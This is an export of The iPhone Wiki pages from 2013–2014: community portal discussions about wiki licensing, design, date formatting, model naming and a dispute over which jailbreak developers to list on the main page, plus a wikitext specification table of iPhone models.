domain or similar free resource (see The [[:The iPhone Wiki:Copyrights|iPhone Wiki:Copyrights]] for details). '''Do not'''
'''submit copyrighted work without permission!'''
For me, that's enough. I don't need a 50 page license. But if you want to formalize this more, go ahead. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:35, 9 November 2013 (UTC)
:Sounds good. It's good practice to have an official license, just in case any disputes happen someday, and to ensure that it's OK to copy text over to Wikipedia (for example). [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 21:32, 9 November 2013 (UTC)

==Banner Replacement?==
I kinda feel like the banner on the front page is getting a little stale, so I'm interested in seeing it replaced. I tossed a proposal [https://twitter.com/Draxelf/status/408295008794845184 on Twitter] a couple of days ago (which is admittedly plain, but Myriad Set…), but I haven't heard any opinions on replacing the banner. Are there any thoughts on this matter? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:42, 6 December 2013 (UTC)
:Or, [http://imgur.com/wJFqPl1 this]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:22, 6 December 2013 (UTC)
:Looks nice in Myriad! More professional. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 04:01, 7 December 2013 (UTC)

==Date Format==
I see that [[User:IAdam1n|iAdam1n]] started to unify the date formats in this wiki. While I like this to be consistent, actually we should've talked about what format to use before changing it. I like the d_mon_yyyy format though. I also saw that he removed the <code>&nbsp;</code> between the date parts on the [[iFaith]] page that I added once purposefully. The reason was that when making the browser window small (or on the iPhone) that the date wraps to two lines, which is almost always undesired. The question is if we should do that everywhere too? Additionally, as we now seem to have a "standard" here, we should document it, so that new users know what format to use. -- [[User:Http|http]] ([[User talk:Http|talk]]) 17:42, 30 December 2013 (UTC)
:I just made it consistent. If you want the <code>&nbsp;</code> back, feel free to add it. I removed it as it did nothing (previewing on OS X). We should use the format I used throughout the wiki and not Dec 23, 2013 etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 30 December 2013 (UTC)
::<code>&nbsp;</code> stands for "'''n'''on-'''b'''reaking '''sp'''ace". It is essentially a space, but with a property that prevents word wrap from occurring between the two words it's between. Look at [[Firmware Keys]] on a small enough screen (1024 across should do it). Your browser should preserve the space between the date "words". Now, go into the edit page and remove the <code>&nbsp;</code> from everything in one table. Your browser will now word wrap the date "words". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)
:What I actually want to do is use <code>{{[[Template:Start date|start date]]}}</code> instead of plain dates in areas where dates are used as a statistic; for example, [[Firmware]], [[Firmware Keys]], [[SHSH]], [[Timeline]], etc. Places where dates are used to record when something happened, for example on [[evasi0n7]], "On 28 December 2013...", should use the date flat out in the source. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)

== Template documentation ==
Whenever using templates that are copied here from Wikipedia, I almost always forget the parameters of the template. I then have to open Wikipedia and search for the template. What I want to do it copy the template documentation from Wikipedia here. To work around the licensing issue, we can create our own template that you would include at the bottom of the copied documentation that says the documentation comes from Wikipedia (because Wikipedia uses [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|CC-BY-SA 3.0]] which says our copied text must be under CC-BY-SA 3.0 ''and'' attribute Wikipedia and her editors. I can write the text for license template. Any ideas? Any opposition? If not, I'll begin in a few days. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:04, 5 January 2014 (UTC)
:I don't see why not. That's what I've seen done on other wikis. — '''[[User:Spydar007|Spydar007]] [[User talk:Spydar007|(Talk)]]''' 16:56, 18 January 2014 (UTC)

== Mainpage "iPhone Hackers" List ==

I think the "iPhone Hackers" List of the mainpage needs to be updated. Here are some people that need adding:

*[[Pimskeks]]
*[[User:iH8sn0w|iH8sn0w]]
*[[User:winocm|winocm]]
*SquiffyPwn
*[[i0n1c]]

Are there any others you can think of? — '''[[User:Spydar007|Spydar007]] [[User talk:Spydar007|(Talk)]]''' 16:55, 18 January 2014 (UTC)
:I agree with the list except I do not think that SquiffyPwn has done anything huge, except help with [[p0sixspwn]] and i0n1c shouldn't be added. Just my opinions. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 20:53, 5 February 2014 (UTC)
:: [[User:ph0enix|Me]], [[User:5urd|5urd]] and [[User:phyrrus9|phyrrus9]] have definitely earned our keep refer to http://theprivatedevteam.blogspot.com/2012/04/ios-51-semi-untethered-jailbreak.html --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 02:17, 8 February 2014 (UTC)
:::I disagree, you are not that well know, like pimskeks etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:25, 8 February 2014 (UTC)
::::I agree with iAdam1n. You are not known enough. — '''[[User:Spydar007|Spydar007]] [[User talk:Spydar007|(Talk)]]''' 14:52, 8 February 2014 (UTC)
:::::Are you kidding me?? we have worked with many "well known" hackers and are in constant communication with people like p0sixninja! this is a joke we dont have to be "well known" to be influential hackers who not to mention have been running support and hacking in the community for 4 almost 5 years! --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:08, 15 February 2014 (UTC)
::::::Support does not count. I am sticking with my original decision. AFAIK, you released no jailbreaks or found any new exploits, not as well know as the main hackers. Feel free to share what you have found/made if you want and also you can see what others say. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:24, 15 February 2014 (UTC)
:::::::are you kidding me!! http://theprivatedevteam.blogspot.com/2012/04/ios-51-semi-untethered-jailbreak.html that is the reason i have high quality followers like posixninja and nitotv just because you guys are too young in the community to know about our major help to the community doesnt mean we are it is a closed sourced exploit but very functional and based off of redsn0w that implements our exploit now if you wanna get your thumb out of your buts and pay attention it would be great --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 22:17, 15 February 2014 (UTC)
::::::::Why is this being brought up again? The answer was no before, and it's going to remain no for the reasons http stated before. I should add that who follows who on Twitter doesn't really mean anything— I have nitoTV, chronic, iH8sn0w, and winocm as followers, but that doesn't mean [https://twitter.com/Dialexio/status/376801384752222208 this] was a legitimate jailbreak by any means. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:05, 15 February 2014 (UTC)
::::::::: Jeez idk maybe because we RELEASED A WORKING TOOL AND KEEP BEING BLOWN OFF BY INFERIOR ASS HOLES WHO REFUSE TO ADMIT IT! when you create a tool then challenge it till then we should be put on the list for discovering and implementing a previously unknown userland exploit and building a tool to ease the process... --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 23:22, 15 February 2014 (UTC)
::::::::::Your insults aren't helping your credibility. Just saying. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:35, 15 February 2014 (UTC)
::::::::::: well if i wouldn't have to have been asking for so long then i wouldn't be so upset my credibility is there whether you choose to ignore it or not is up to you. our tool is a working tool and we discovered and implemented a exploit that should be grounds for our names to be on the list,and the followers point is that we may not be well known but the people who follow us are legit people. quality over quantity. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 23:49, 15 February 2014 (UTC)
::::::::::::And now, your arguing with the administration. The answer is no. End of. — '''[[User:Spydar007|Spydar007]] [[User talk:Spydar007|(Talk)]]''' 09:13, 16 February 2014 (UTC)
:Coming back to this old discussion, the decision at that time was to not even include iH8sn0w there, so I don't see a reason to include much lesser known people. For the overview list, we already have the [[:Category:Hackers]]. The main page is just for the 5-10 currently most important people. Regarding names, there should be a wide consensus of the people listed. If you ask me today, I'd comment like this:
:*i0n1c is not working on public jailbreaks, so don't include
:*geohot has retired from the scene, he could get removed, but as founder of this wiki and best contributor to the scene of all time, better leave him there
:*winocm new shooting star, could get added
:*iH8sn0w could get added with all the tools created
:*all others I would not add or only added to category mentioned above
:Remember that the list should be really short, so adding anyone would most probably mean to remove soneone less important. Also, number of followers in Twitter doesn't mean anything; all these people follow me too and I wouldn't claim to be that important. This shouldn't discourage anybody not on this main page to continue his/her work. If this is causing these feelings, I think we should remove the list there entirely. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:28, 16 February 2014 (UTC)

List of iPhones

2014-01-17T07:31:46Z

Http: wrong spec for battery - where did the wrong value come from?

{{lowercase}}

{| class="wikitable"
! rowspan="2" | Phone (<code>marketing-name</code>)
! rowspan="2" | [[m68ap|iPhone]]
! rowspan="2" | [[n82ap|iPhone 3G]]
! rowspan="2" | [[n88ap|iPhone 3GS]]
! colspan="3" | [[iPhone 4]]
! rowspan="2" | [[n94ap|iPhone 4S]]
! colspan="2" | [[iPhone 5]]
! colspan="2" | [[iPhone 5c]]
! colspan="2" | [[iPhone 5s]]
|-
! [[n90ap|GSM]]
! [[n90bap|GSM (Rev A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! [[n42ap|Global]]
! [[n48ap|GSM]]
! [[n49ap|Global]]
! [[n51ap|GSM]]
! [[n53ap|Global]]
|-
! Image
| [[File:iPhone2G.png|100px|frameless]]
| [[File:iPhone3G.png|106px|frameless]]
| [[File:iPhone3GS.png|107px|frameless]]
| colspan="2" | [[File:iPhone 4 GSM.png|103px|frameless]]
| [[File:iPhone 4 CDMA.png|103px|frameless]]
| [[File:iPhone4S.png|105px|frameless]]
| colspan="2" | [[File:iPhone 5.png|108px|frameless]]
| colspan="2" | [[File:iPhone_5c_white.png|102px|frameless]]
| colspan="2" | [[File:iPhone_5s_black.png|102px|frameless]]
|-
! Case Material
| Aluminum
| colspan="2" | Polycarbonate
| colspan="4" | Glass/Steel
| colspan="2" | Glass/Aluminum
| colspan="2" | Polycarbonate
| colspan="2" | Glass/Aluminum
|-
! Colors
| Aluminum (Gray)
| colspan="8" | Black/White
| colspan="2" | Green, Yellow, Red, Blue, White
| colspan="2" | Space Gray, Gold, Silver
|-
! Screen size (diagonal)
| colspan="7" | 3.5"
| colspan="6" | 4"
|-
! Screen resolution
| colspan="3" | 480x320 px @ 163 ppi
| colspan="4" | 960x640 px @ 326 ppi
| colspan="6" | 1136x640 px @ 326 ppi
|-
! Dimensions
| 4.5x2.4x0.46 in. 115.5x62.1x11.6 mm
| colspan="2" | 4.5x2.4x0.48 in. 115.5x62.1x12.3 mm
| colspan="4" | 4.5x2.31x0.37 in. 115.2x58.6x9.3 mm
| colspan="2" | 4.87x2.31x0.3 in. 123.8x58.6x7.6 mm
| colspan="2" | 4.90x2.33x0.35 in. 124.4x59.2x8.97 mm
| colspan="2" | 4.87x2.31x0.3 in. 123.8x58.6x7.6 mm
|-
! Weight
| 4.76 oz. 135 g
| 4.69 oz. 133 g
| 4.76 oz. 135 g
| colspan="3" | 4.83 oz. 137 g
| 4.94 oz. 140 g.
| colspan="2" | 3.95 oz. 112 g
| colspan="2" | 4.65 oz. 132 g
| colspan="2" | 3.95 oz. 112 g
|-
! Capacity (GB)
| 4/8/16
| 8/16
| colspan="4" | 8/16/32
| 8/16/32/64
| colspan="2" | 16/32/64
| colspan="2" | 16/32
| colspan="2" | 16/32/64
|-
! CPU
| colspan="2" | [[S5L8900]]
| [[S5L8920]]
| colspan="3" | [[S5L8930]] A4
| [[S5L8940]] A5
| colspan="4" | [[S5L8950]] A6
| colspan="2" | [[S5L8960]] A7
|-
! CPU Speed
| 412 MHz (initially 400)
| 412 MHz
| 620 MHz
| colspan="3" | 800 MHz[http://www.anandtech.com/show/3794/12]
| 800 MHz
| colspan="4" | 1.2 GHz
| colspan="2" | 1.3 GHz
|-
! [[wikipedia:ARM architecture|ARM Architecture]]
| colspan="2" | ARMv6
| colspan="9" | ARMv7
| colspan="2" | ARMv8
|-
! Core Design
| colspan="2" | [[wikipedia:ARM11|ARM1176]]
| colspan="4" | [[wikipedia:ARM Cortex-A8|ARM Cortex-A8]]
| [[wikipedia:ARM Cortex-A9 MPCore|ARM Cortex-A9]]
| colspan="4" | [[Apple Swift]]
| colspan="2" | [[Apple Cyclone]]
|-
! CPU Cores
| colspan="6" | 1
| colspan="7" | 2
|-
! Motion Coprocessor
| colspan="11" {{n/a}}
| colspan="2" | [[LPC18A1]] ‎[[M7]]
|-
! RAM
| colspan="2" | 128 MiB
| 256 MiB
| colspan="4" | 512 MiB
| colspan="6" | 1 GiB
|-
! Cache
| colspan="2" | L1 (16 KiB)
| L1 (32 KiB) L2 (256 KiB)
| colspan="3" | L1 (32 KiB) L2 (512 KiB)
| colspan="5" | L1 (32 KiB) L2 (1024 KiB)
| colspan="2" | L1 (64 KiB) L2 (1024 KiB)
|-
! Cellular Radio (<code>telephony-maximum-generation</code>)
| EDGE (2.5G)
| HSDPA 7.2 Mbps (3.5G) (Note: Newer firmwares state "3G")
| HSDPA 7.2 Mbps (3.5G)
| colspan="2" | HSDPA 7.2 Mbps and HSUPA (3.5G)
| CDMA EV-DO Rev. A (3.5G)
| HSDPA 14.4 Mbps and HSUPA (3.5G) CDMA EV-DO Rev. A (3.5G)
| LTE (4G) HSPA+ and DC-HSDPA (3.5G)
| colspan="5" | LTE (4G) HSPA+ and DC-HSDPA (3.5G) CDMA EV-DO Rev. A and Rev. B (3.5G)
|-
! [[wikipedia:Wi-Fi|Wi-Fi]]
| colspan="3" | [[wikipedia:IEEE 802.11|802.11]] [[wikipedia:IEEE 802.11b-1999|b]]/[[wikipedia:IEEE 802.11g-2003|g]]
| colspan="4" | [[wikipedia:IEEE 802.11|802.11]] [[wikipedia:IEEE 802.11b-1999|b]]/[[wikipedia:IEEE 802.11g-2003|g]]/[[wikipedia:IEEE 802.11n-2009|n]] (2.4 GHz only)
| colspan="6" | [[wikipedia:IEEE 802.11|802.11]] [[wikipedia:IEEE 802.11a-1999|a]]/[[wikipedia:IEEE 802.11b-1999|b]]/[[wikipedia:IEEE 802.11g-2003|g]]/[[wikipedia:IEEE 802.11n-2009|n]] (2.4/5.0 GHz)
|-
! Battery ([[wikipedia:Volt|volts]])
| colspan="7" | 3.7
| colspan="6" | 3.8
|-
! Battery ([[wikipedia:Kilowatt hour|Wh]])
| 5.18
| 5.1
| 4.51
| colspan="3" | 4.59
| 5.32
| colspan="2" | 5.43
| colspan="2" | 5.73
| colspan="2" | 5.92
|-
! Battery ([[wikipedia:Ampre|mAh]])
| 1400
| 1150
| 1219
| colspan="3" | 1420
| 1432
| colspan="2" | 1440
| colspan="2" | 1510
| colspan="2" | 1550
|-
! Internal Name
| [[m68ap|iPhone1,1]]
| [[n82ap|iPhone1,2]]
| [[n88ap|iPhone2,1]]
| [[n90ap|iPhone3,1]]
| [[n90bap|iPhone3,2]]
| [[n92ap|iPhone3,3]]
| [[n94ap|iPhone4,1]]
| [[n41ap|iPhone5,1]]
| [[n42ap|iPhone5,2]]
| [[n48ap|iPhone5,3]]
| [[n49ap|iPhone5,4]]
| [[n51ap|iPhone6,1]]
| [[n53ap|iPhone6,2]]
|-
! Initial Firmware
| [[Heavenly 1A543a (iPhone)|1.0 (1A543a)]]
| [[Big Bear 5A345 (iPhone 3G)|2.0 (5A345)]]
| [[Kirkwood 7A341 (iPhone 3GS)|3.0 (7A341)]]
| [[Apex 8A293 (iPhone 4 GSM)|4.0 (8A293)]]
| [[Sundance 10A403 (iPhone 4 GSM Rev A)|6.0 (10A403)]]
|
* [[Phoenix 8E128 (iPhone 4 CDMA)|4.2.5 (8E128)]]
* [[Phoenix 8E200 (iPhone 4 CDMA)|4.2.6 (8E200)]]
| [[Telluride 9A334 (iPhone 4S)|5.0 (9A334)]]
| [[Sundance 10A405 (iPhone 5 GSM)|6.0 (10A405)]]
| [[Sundance 10A405 (iPhone 5 Global)|6.0 (10A405)]]
| [[Innsbruck 11A466 (iPhone 5c GSM)|7.0 (11A466)]]
| [[Innsbruck 11A466 (iPhone 5c Global)|7.0 (11A466)]]
| [[Innsbruck 11A466 (iPhone 5s GSM)|7.0 (11A466)]]
| [[Innsbruck 11A466 (iPhone 5s Global)|7.0 (11A466)]]
|-
! Latest publicly available firmware
| rowspan="2" | [[SUNorthstarTwo 7E18 (iPhone)|3.1.3 (7E18)]]
| rowspan="2" | [[Jasper 8C148 (iPhone 3G)|4.2.1 (8C148)]]
| rowspan="2" | [[BrightonMaps 10B329 (iPhone 3GS)|6.1.3 (10B329)]]
| {{Latest public firmware|iPhone 4 GSM}}
| {{Latest public firmware|iPhone 4 GSM Rev A}}
| {{Latest public firmware|iPhone 4 CDMA}}
| {{Latest public firmware|iPhone 4S}}
| {{Latest public firmware|iPhone 5 GSM}}
| {{Latest public firmware|iPhone 5 Global}}
| {{Latest public firmware|iPhone 5c GSM}}
| {{Latest public firmware|iPhone 5c Global}}
| {{Latest public firmware|iPhone 5s GSM}}
| {{Latest public firmware|iPhone 5s Global}}
|-
! Latest firmware
| {{Latest firmware|iPhone 4 GSM}}
| {{Latest firmware|iPhone 4 GSM Rev A}}
| {{Latest firmware|iPhone 4 CDMA}}
| {{Latest firmware|iPhone 4S}}
| {{Latest firmware|iPhone 5 GSM}}
| {{Latest firmware|iPhone 5 Global}}
| {{Latest firmware|iPhone 5c GSM}}
| {{Latest firmware|iPhone 5c Global}}
| {{Latest firmware|iPhone 5s GSM}}
| {{Latest firmware|iPhone 5s Global}}
|-
! [[Bluetooth]] (<code>bluetooth</code>)
| [[BlueCore 4|2.0 EDR]]
| [[BlueCore 6|2.0 EDR]]
| [[BCM4325|2.1 EDR]]
| colspan="3" | [[BCM4329|2.1 EDR]]
| [[BCM4330|4.0]]
| colspan="2" | [[BCM4334|4.0]]
| colspan="4" | [[BCM43342|4.0]]
|-
! Rear Camera (Megapixels) (<code>still-camera</code>)
| colspan="2" | 2
| 3.2
| colspan="3" | 5
| colspan="7" | 8
|-
! Front-Facing Camera (<code>front-facing-camera</code>)
| colspan="3" {{no}}
| colspan="4" {{yes|VGA}}
| colspan="6" {{yes|1.2 MP}}
|-
! Video recording (<code>video-camera</code>)
| colspan="2" {{no}}
| {{yes|VGA}}
| colspan="3" {{yes|720p}} (VGA front)
| {{yes|1080p}} (VGA front)
| colspan="6" {{yes|1080p}} (720p front)
|-
! Auto-Focus (<code>auto-focus-camera</code>)
| colspan="2" {{no}}
| colspan="11" {{yes}}
|-
! LED Flash (<code>camera-flash</code>)
| colspan="3" {{no}}
| colspan="10" {{yes}}
|-
! True Tone Flash
| colspan="11" {{no}}
| colspan="2" {{yes}}
|-
! [[Touch ID]]
| colspan="11" {{no}}
| colspan="2" {{yes}}
|-
! HDR (<code>hdr-image-capture</code>)
| colspan="3" {{no}}
| colspan="1" {{partial|Requires iOS 4.1 or later}}
| colspan="9" {{yes}}
|-
! Voice Controls (<code>voice-control</code>)
| colspan="2" {{no}}
| colspan="11" {{yes}}
|-
! [[Siri]] (<code>assistant</code>)
| colspan="6" {{no}}
| colspan="7" {{yes}}
|-
! Raise to Speak (<code>siri-gesture</code>)
| colspan="6" {{no}}
| colspan="7" {{yes}}
|-
! Dictation (<code>dictation</code>)
| colspan="6" {{no}}
| colspan="7" {{yes}}
|-
! Panorama
| colspan="6" {{no}}
| {{partial|Requires iOS 6 or later}}
| colspan="6" {{yes}}
|-
! Low Light Boost
| colspan="7" {{no}}
| colspan="4" {{yes}}
| colspan="2" {{no}}
|-
! Nike+iPod (<code>victoria</code>)
| colspan="2" {{no}}
| colspan="11" {{yes}}
|-
! Hardware encryption (<code>encrypted-data-partition</code>)
| colspan="2" {{no}}
| colspan="11" {{yes}}
|-
! GPS (<code>gps</code>)
| colspan="1" {{no}}
| colspan="12" {{yes}}
|-
! [[Magnetometer|Digital Compass]] (<code>magnetometer</code>)
| colspan="2" {{no}}
| colspan="11" {{yes}}
|-
! Gyroscope
| colspan="3" {{no}}
| colspan="10" {{yes}}
|-
! [[FaceTime]] Video Calls (<code>venice</code>)
| colspan="3" {{no}}
| colspan="3" {{partial|Wi-Fi only}}
| {{yes|Yes (FaceTime over cellular requires iOS 6 or later)}}
| colspan="6" {{yes}}
|}

== References ==
* The [[Keynote]]s themselves
* [http://www.apple.com/iphone Apple.com]

[[Category:Devices]]

The iPhone Wiki:Community portal

2014-01-13T23:42:26Z

Http: /* Hacker page */

{{Talk Archive}}
{{see also|Unsolved problems}}
==iPhone-Elite==
I think we should include all this old stuff before it gets lost: [http://code.google.com/p/iphone-elite/ code.google.com/p/iphone-elite/]. I mean the wiki articles there. Most infos should be already here, but I'm sure a lot of things are missing too.
--[[User:Http|http]] 15:02, 26 June 2012 (MDT)

==Boot-args cleanup==
We need to clean up the boot-args pages. First the technical part: What I understand is that iBoot loads the kernel. And when loading it, it can pass some parameters to select certain behavior. So this only works with an iBoot or bootrom exploit. I understand that in earlier firmware versions there was simply an iBoot variable, but that doesn't exist or work anymore, now passing theses args requires a different or patched iBoot. There are various parameters in different kernel versions. The description for these arguments is scattered over various places:
*[[Kernel#Boot-Args]] A section with the latest boot arguments list. This should be a short introduction and having a link "main article".
*[[Boot-args (iBoot variable)]] separate page for boot arguments, but mainly for the iBoot variable that doesn't exist any longer
*[{{FULLURL:Boot arguments|redirect=no}} Boot arguments] (redirect)
*[[:Talk:Restore_Mode]] describing the iBoot variable problem
*Various pages referencing boot-args, like [[Research: Re-allowing unsigned ramdisks and boot-args with the 2.* iBoot]] (here we should have a link on the second title)
*My earlier comment [[:Talk:Kernel#boot-args]]
*This comment here.
So what do we want to do about this mess? I suggest to move the current [[Kernel]] content to the redirect page [[Boot arguments]] (or to another new page, maybe [[boot-args]]). The current content of [[Boot-args (iBoot variable)]] and all other content should get merged into there. Then change all references to this new page and on the [[Kernel]] page write just something short with "main article there". What do you think? --[[User:Http|http]] ([[User talk:Http|talk]]) 21:31, 13 February 2013 (UTC)
:I like [[Boot Arguments]]. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 02:01, 14 February 2013 (UTC)
::One addition: Maybe we should use [[boot-args]] as the main page, because all links are written like that. --[[User:Http|http]] ([[User talk:Http|talk]]) 07:37, 14 February 2013 (UTC)

==The iPhone Wiki re-design==
The design of the iPhone wiki is now quite old and I think it should be updated. I made a [http://oi42.tinypic.com/30ib9y8.jpg concept]. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:30, 14 June 2013 (UTC)
:I disagree. If anything add an iPhone 5 to the logo but everything else is ok. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:05, 14 June 2013 (UTC)
:I wouldn't change the logo to an iPhone 5, especially with iOS 7 and a new iPhone (that will probably look the same as the 5, admittedly) around the corner. I contemplated updating the CSS for iOS 7's UI but decided not to because of the UI's supposed volatility (during the beta period) and I don't have a live version to toy around with. (I personally don't like its current state, but that's not a factor in why I'm not changing it yet.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:25, 14 June 2013 (UTC)
::Can we not do flat? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 21:02, 14 June 2013 (UTC)
::This is what I was thinking. When iOS 7 finally comes out, we could change the CSS to look like that instead. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:11, 14 June 2013 (UTC)
:::iOS 7 looks ugly. We do not want it like that. Maybe a bit more modern but nothing much. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:16, 14 June 2013 (UTC)
::::''You'' may not want it like that. That's your opinion. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:55, 15 June 2013 (UTC)
:::::We could make a poll, and see if most users agree or disagree. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:05, 15 June 2013 (UTC)
:The idea looks nice. But before we make any changes, let's wait until iOS7 comes out. And I'd prefer to just add another skin instead (if possible). I'm still using the classic MonoBook skin by the way. You shouldn't impose design changes to everyone. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:38, 15 June 2013 (UTC)
::The problem with skins is that geohot needs to set them up... An idea I have is that we copy the Vector skin verbatim to a new skin (<code>iOS6</code>) and move the modifications (not general stuff) to [[Mediawiki:iOS6.css]]. Then we can do another verbatim copy to <code>iOS7</code> and modify [[Mediawiki:iOS7.css]]. We could then set the default skin to either <code>iOS6</code> or <code>iOS7</code> so you don't need to be logged in to see them like currently. Then if someone doesn't like them, like you, just change your settings to your preferred skin. The only way around needing geohot is if he opens up the credentials to FTP or whatever to someone. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:17, 15 June 2013 (UTC)
:::I like [[User:5urd|5urd]]'s suggestion. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:29, 15 June 2013 (UTC)
What about just removing the text-shadow element for now? I think pages would be easier to read without it. Here's an example: [[:File:Noshadow.png]]. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:11, 29 August 2013 (UTC)
:Yeah removing the shadow will make everything seem more flat but like [[User:http|http]] I'm still using the classic [http://theiphonewiki.com/w/index.php?title=Main_Page&useskin=monobook MonoBook skin] --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 21:19, 31 August 2013 (UTC)

==Hacker page==
I would like to be added to the list of hackers for my work with the Private Dev Team and the [[Chronic Dev (team)|Chronic Dev Team]] in addition to my release of the Phoenix Semi-Untethered. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:36, 22 July 2013 (UTC)
:Did you find any exploits? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 18:54, 22 July 2013 (UTC)
::No. [[User:phyrrus9|phyrrus9]], a team member found the vulnerability. I am the one who exploited it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]])
:::I can back up this "claim". I was a part of it. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:52, 28 July 2013 (UTC)
::::Whatever happened to this? --[[User:Phyrrus9|phyrrus9]]
:::::So this went cold and i am going to again request that this change be made. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:28, 13 January 2014 (UTC)
::::::I'm gonna say no. I don't see any notable accomplishments to merit this. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 21:53, 13 January 2014 (UTC)
::::::'''No'''. The first step would be to get to the category [[:Category:Hackers|hackers]]. You can get there by finding a vulnerability that is used with an exploit in a jailbreak - or by writing a new exploit. Remember that it's not allowed to add yourself to that category. Instead of finding a vulnerability you could also be member of either The [[iPhone Dev Team]] or [[Chronic Dev]] or [[evad3rs]]. After being in that category, the next step would be that you're famous enough from all those hackers there to get to the main page. The people chosen are discussed here. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:42, 13 January 2014 (UTC)

==Orphaned articles==
This is an interesting search: [[Special:LonelyPages]] - "The following pages are not linked from or transcluded into other pages in The iPhone Wiki." I'm not sure where all of those articles should be linked, but figuring that out could be a useful project for somebody. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 05:57, 28 August 2013 (UTC)

==Easy tasks for new editors==
* Finish converting the remaining error codes listed here [[MobileDevice_Library#Known_Error_Codes]] into the proper mach_return_t codes they should be displayed as. (convert the negative number listed into hex, strip any leading "FF" so it should be in the format "0xe80000" followed by two numbers) --[[User:Dirkg|Dirkg]] ([[User talk:Dirkg|talk]]) 22:40, 28 August 2013 (UTC)

== A1XXX model numbers vs. "GSM"/"CDMA"/"Global"/"Cellular"/etc. ==
I know that this topic was [[The iPhone Wiki:Community portal/2013#iPhone 5|already discussed earlier this year]], but it didn't seem to come to a consensus, and the introduction of the [[iPhone 5c]] and [[iPhone 5s]] brought a lot of model numbers. Some of them may "overlap" (think models A1429 and A1442 for the [[iPhone 5]]), but there's simply too many to give names to. There are at least two that can connect to CDMA networks, and all of them can connect to GSM. In addition, with the sheer amount of models, it doesn't seem likely for one model to be treated as a "global" model. Therefore, I changed the iPhone 5c to use model numbers. I would like to do the same to some of the devices that are already present on the wiki though— the same ones from when I first brought up this idea. The GSM/CDMA names work very well for the [[iPad 2]] and [[iPhone 4]]. Things are slightly murkier for the [[iPad 3|iPad (3rd gen.)]], [[iPad 4|iPad (4th gen.)]], [[iPad mini 1G]], and [[iPhone 5]] though; all of those devices' cellular models can connect to GSM networks, so it seems like nonsense to call some of them the "GSM model." The A1XXX model numbers are also how Apple tells the difference between the different models of these devices. Have any opinions changed? Or perhaps someone new might have something to say about this? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 06:06, 13 September 2013 (UTC)

:I actually like the idea as it does get complicated now with the new devices coming like said and we would have to do this for all devices. Although, if we did this, we would have to move all the key pages that have keys on to support this. That would not be a big problem as we could limit the moves to say 20 per day. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:47, 13 September 2013 (UTC)

:I suggest we wait a bit until we see what models of the [[iPhone 5c]] and [[iPhone 5s]] will exist. But in general, I like the idea of using only the A1nnn numbers. The only issue I see right now is that Apple differentiates between A1532 GSM and A1532 CDMA. If there are real hardware differences between these two, then we're screwed again. That's why I suggest to wait until we know these exact model types. On the disambiguation page I added the GSM/CDMA model differentiation already (as Apple does). If they turn out to be the same, we can remove it again, but I wonder why Apple lists two models (with different bands supported) there now. Someone also added the "CDMA" mark to one of the others, but that's not how Apple marks them, so I suggest to remove that mark there again. If everything can be differentiated by these A-model-numbers, then yes, we should change the old pages too. Including all key pages. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:44, 13 September 2013 (UTC)

::I do know there are 2 CDMA and 3-4 GSM for the [[iPhone 5c]] alone. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:04, 13 September 2013 (UTC)

:::Ahem… ''All'' of the iPhone 5c models can do GSM communications. Hence one of the reasons why I want to ditch the "GSM"/"Global"/etc. labels in favor of A1XXX model numbers. ;P --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:07, 13 September 2013 (UTC)

